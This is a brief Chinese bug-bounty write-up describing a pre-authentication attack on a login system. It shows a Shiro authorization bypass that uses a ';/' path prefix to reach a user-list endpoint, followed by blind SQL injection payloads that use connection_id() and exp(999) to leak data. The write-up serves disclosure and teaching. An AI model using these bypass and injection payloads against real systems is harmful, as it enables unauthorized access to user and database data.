记一次SRC的前台 sql 注入漏洞

在信息收集时发现一个登录框

http://xxxxx/login

image

存在前台 sql 注入漏洞

正常访问

http://xxxxxxxx/login/sys/user/list?limit=10&offset=0&username=&deptId=&name=

会跳转到登录页面

image

shiro 权限绕过:

http://xxxxxxxx/;/sys/user/list?limit=10&offset=0&username=&deptId=&name=

image

 

注入 payload 获取数据库连接 id

http://xxxxxx/;/sys/user/list?limit=10&offset=0&username=&deptId=&name=%27%20or%20if(le ft(connection_id(),1)=1,exp(999),1)=%27

image

 

http://xxxxxx/;/sys/user/list?limit=10&offset=0&username=&deptId=&name=%27%20or%20if(le ft(connection_id(),1)=2,exp(999),1)=%27

image

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容